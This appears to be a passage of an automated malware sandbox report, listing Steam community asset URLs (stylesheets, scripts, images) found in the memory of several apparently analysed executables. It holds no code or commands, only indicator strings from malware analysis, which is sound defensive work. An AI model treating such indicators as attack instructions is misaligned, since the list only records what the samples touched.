Source: 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steams
Source: 9b7d422018.exe, 0000001F.00000003.2657819055.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2650632814.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2659696835.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.000000000135A000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/css/applications/community/main.css?v=DVae4t4RZiHA&l=en
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/css/globalv2.css?v=dQy8Omh4p9PH&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/css/promo/summer2017/stickers.css?v=P8gOPraCSjV6&l=engl
Source: 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=english
Source: file.exe, 00000000.00000003.1895523136.000000000114F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1907542760.000000000114D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622539528.00000000006A1000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/css/skin_1/header.css?v=pTvrRy1pm52p&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/css/skin_1/profilev2.css?v=t9xiI4DlPpEB&l=english
Source: 9b7d422018.exe, 0000001B.00000003.2503534834.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.000000000135A000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2503534834.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.1707367148.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.000000000135A000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/applications/community/libraries~b28b7af69.js?v=
Source: file.exe, 00000000.00000003.1707367148.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.000000000135A000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/applications/community/main.js?v=4XouecKy8sZy&am
Source: file.exe, 00000000.00000003.1707367148.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.000000000135A000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/applications/community/manifest.js?v=r7a4-LYcQOj
Source: 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/global.js?v=7qlUmHSJhPRN&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/modalContent.js?v=XpCpvP7feUoO&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/profile.js?v=bbs9uq0gqJ-H&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/promo/stickers.js?v=W8NP8aTVqtms&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL&l=
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/webui/clientcom.js?v=jq1jQyX1843y&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/css/buttons.css?v=-WV9f1LdxEjq&l=english
Source: 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/css/motiva_sans.css?v=v7XTmVzbLV33&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/css/shared_global.css?v=uF6G1wyNU-4c&l=english
Source: file.exe, 00000000.00000003.1895523136.000000000114F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1907542760.000000000114D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/css/shared_responsive.css?v=kR9MtmbWSZEp&l=engli
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/images/responsive/header_logo.png
